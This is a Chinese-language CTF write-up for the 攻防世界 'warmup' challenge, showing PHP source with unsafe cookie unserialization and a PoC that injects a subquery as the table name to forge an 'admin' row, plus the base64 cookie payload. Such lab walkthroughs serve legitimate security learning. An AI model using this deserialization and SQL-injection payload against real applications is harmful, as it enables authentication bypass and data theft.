【攻防世界】warmup

Mr_Soap發表於2024-07-24

warmup (反序列化與sql注入)

題目來源

攻防世界  NO.GFSJ0999

題目描述

題目提示:平平無奇的輸入框

開啟網址頁面如下,沒有有用資訊。

img

題目給了附件,直接下載,得到原始碼如下:

index.php(其中頁面佈局等無用程式碼省略)

<?php
include 'conn.php';
include 'flag.php';


if (isset ($_COOKIE['last_login_info'])) {
    $last_login_info = unserialize (base64_decode ($_COOKIE['last_login_info']));         //對cookie中的last_login_info進行反序列化。下面的程式碼已經可以不用看了,這裡就是這道題的入口。
    try {
        if (is_array($last_login_info) && $last_login_info['ip'] != $_SERVER['REMOTE_ADDR']) {
            die('WAF info: your ip status has been changed, you are dangrous.');
        }
    } catch(Exception $e) {
        die('Error');
    }
} else {
    $cookie = base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR']))) ;
    setcookie ('last_login_info', $cookie, time () + (86400 * 30));
}


if(isset($_POST['username']) && isset($_POST['password'])){
    $table = 'users';
    $username = addslashes($_POST['username']);
    $password = addslashes($_POST['password']);
    $sql = new SQL();
    $sql->connect();
    $sql->table = $table;
    $sql->username = $username;
    $sql->password = $password;
    $sql->check_login();
}


?>

conn.php

<?php
include 'flag.php';

class SQL {
    public $table = '';
    public $username = '';
    public $password = '';
    public $conn;
    public function __construct() {
    }
    
    public function connect() {
        $this->conn = new mysqli("localhost", "xxxxx", "xxxx", "xxxx");
    }
        //若返回結果的username欄位值為admin則給出flag
    public function check_login(){
        $result = $this->query();
        if ($result === false) {
            die("database error, please check your input");
        }
        $row = $result->fetch_assoc();
        if($row === NULL){
            die("username or password incorrect!");
        }else if($row['username'] === 'admin'){
            $flag = file_get_contents('flag.php');
            echo "welcome, admin! this is your flag -> ".$flag;
        }else{
            echo "welcome! but you are not admin";
        }
        $result->free();
    }
        //對資料庫進行查詢的語句
    public function query() {
        $this->waf();
        return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'");
    }

    public function waf(){
        $blacklist = ["union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"];
        foreach ($blacklist as $value) {
            if(strripos($this->table, $value)){
                die('bad hacker,go out!');
            }
        }
        foreach ($blacklist as $value) {
            if(strripos($this->username, $value)){
                die('bad hacker,go out!');
            }
        }
        foreach ($blacklist as $value) {
            if(strripos($this->password, $value)){
                die('bad hacker,go out!');
            }
        }
    }

    public function __wakeup(){
        if (!isset ($this->conn)) {
            $this->connect();
        }
        if($this->table){
            $this->waf();
        }
        $this->check_login();
        $this->conn->close();
    }

}
?>

題解

本文參考:https://www.cnblogs.com/Goo1/p/17644523.html

顯然這題是一道反序列化和sql注入結合的題目,反序列化的引數是$last_login_info

這道題的重點不在於反序列化,反序列化只是提供一個進入函式的入口。
當反序列化開始進行時,若有__wakeup()函式,則執行__wakeup()函式。

可以看到最後得到flag但是程式碼在check_login()函式,check_login()函式有呼叫了query()函式對資料庫進行查詢,並返回結果。

若返回的結果中欄位username的值為admin,則返回flag。

觀察query()函式中的查詢語句:

"select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'"

沒辦法像多數sql注入的題目一樣爆庫爆表名,我們也無法保證select的結果為admin。
這裡涉及知識點:查詢虛擬表

poc如下:

<?php
    class SQL{
        public $table;
        public $username;
        public $password;
        public $conn;
    }
    $o=new SQL();
    //括號外的a是子查詢表的名字
    $o->table="(select 'admin' username,'123' password)a";
    //要和表內的欄位值一致
    $o->username='admin';
    $o->password='123';
    echo serialize($o);

閉合時查詢語句為

select username,password from (select 'admin' username,'123' password)a where username='admin' and password='123'

下面對這條查詢語句進行解釋

select 'admin' username,'123' password

這部分建立了一個臨時的虛擬表,其中包含兩列:username 和 password,並且它們的值分別是 'admin' 和 '123'。

(select 'admin' username,'123' password) a

上面的子查詢被命名為 a。這意味著整個子查詢的結果會被視為一個名為 a 的表。

select username,password from (select 'admin' username,'123' password)a where username='admin' and password='123'

這部分從虛擬表 a 中選擇 username 和 password 兩列,並且只選擇滿足條件 username='admin' 和 password='123' 的記錄。

綜合來看,該 SQL 語句最終返回的結果是:

username password
admin 123

滿足條件$row['username'] === 'admin'
將得到的序列化物件進行base64編碼

TzozOiJTUUwiOjQ6e3M6NToidGFibGUiO3M6NDE6IihzZWxlY3QgJ2FkbWluJyB1c2VybmFtZSwnMTIzJyBwYXNzd29yZClhIjtzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjM6IjEyMyI7czo0OiJjb25uIjtOO30=

賦值給$last_login_info

img

檢視頁面原始碼得到flag

img

相關文章